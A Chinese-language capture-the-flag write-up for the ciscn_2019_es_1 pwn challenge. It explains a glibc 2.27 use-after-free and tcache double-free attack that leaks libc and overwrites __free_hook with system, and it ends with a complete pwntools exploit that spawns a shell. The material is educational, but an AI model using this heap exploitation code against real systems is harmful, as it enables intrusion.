ciscn_2019_es_1
之前想要找一个老版本的libc 2.27的来调试一下这道题,没找到,后来在群里其他师傅的帮助下知道了patchelf,想着终于可以自己调试一下了,然后又蹦了。记录一下解体思路。
- 例行检查,64位程序,保护全开

- 本地运行一下程序,经典的堆体菜单

- 64位ida载入,稍微修改了一下参数的类型,方便理解。看一下各个选项的函数
add
随便申请一个chunk,看一下结构,能有一个更直观的感受add(0x30,'aaaa','bbbb')#0
show
call
利用思路(常见的uaf利用方法):
- 利用unsorted bin获取libc基址
- 利用double free将chunk里指向name chunk指针修改成指向free hook
- 利用add修改free hook为system.
- 在申请一个chunk,里面内容为“/bin/sh”,free释放掉,既执行了system(‘/bin/sh’)
- 注意2.27 的 tcache 机制,详细看ctfwiki
利用过程:
- 我们需要释放一个chunk,让其进入unsorted bin来获取libc基址
libc2.27存在一个tcache机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找。 tcache bin中最大为0x400字节,因此只要申请超过0x400字节大小的chunk就能进入unsorted bin
(关于tcache的知识点)
add(0x410,'aaaa','0') #用来绕过tcache进入unsorted bin
add(0x20,'bbbb','1')
add(0x20,'/bin/sh,'2') #方便后面利用
此时的chunk的分布情况
接下来free chunk0,让其进入unsorted bin
这时根据 unsorted bin 的特性, fd 和 bk 指针都会指向 main_arena + 96处
show(0)
libcbase=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
这样我们就能泄露出 libc 基址,从而得到 free hook 和 system 的地址
malloc_hook和main_arena的偏移是固定的0x10,小知识点可以记录一下
利用double free将chunk里指向name chunk指针修改成指向free hook
这边有个比较坑的事,就是20年10月后,2.27libc加了double free检测。所以要做这道题本地调试的时候还得要使用patchelf来更改一下使用的动态库,不然你的double free程序就直接崩了。(patchelf的使用,patchelf的下载)
安装过程参考上面给的链接
patchelf --set-rpath libc-2.27.so ciscn_2019_es_1
为什么不贴调试图,因为我换完libc后pwngdb调试蹦了。
理论上来讲就是利用double free更改fd指针,让我们的下一个chunk申请到free_hook地址上去,然后在这边申请申请一个chunk,改写free_hook的地址为system地址。利用add修改free hook为system. 释放掉里面内容为“/bin/sh”的chunk,即执行了system(‘/bin/sh’)
exp
from pwn import *
context.log_level="debug"
sh = process('ciscn_2019_es_1')
#sh=remote('node4.buuoj.cn',29068)
libc = ELF('./libc-2.27.so')
def add(size,name,compary):
sh.sendlineafter('choice:','1')
sh.sendlineafter("compary's name",str(int(size)))
sh.sendafter('input name:',name)
sh.sendafter('call:',compary)
def show(index):
sh.sendlineafter('choice:','2')
sh.sendlineafter('\n',str(index))
def call(index):
sh.sendlineafter('choice','3')
sh.sendlineafter('\n',str(index))
add(0x410,'aaaa','0')
add(0x20,'bbbb','1')
add(0x20,'ccc','2')
add(0x20,'/bin/sh','3')
call(0)
#gdb.attach(sh)
show(0)
libcbase=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
call(1)
#gdb.attach(sh)
call(1)
#gdb.attach(sh)
add(0x28,p64(free_hook),'1')
add(0x28,'dddd','2')
add(0x28,p64(system),'4')
call(3)
sh.interactive()

版权声明:本文为mcmuyanga原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。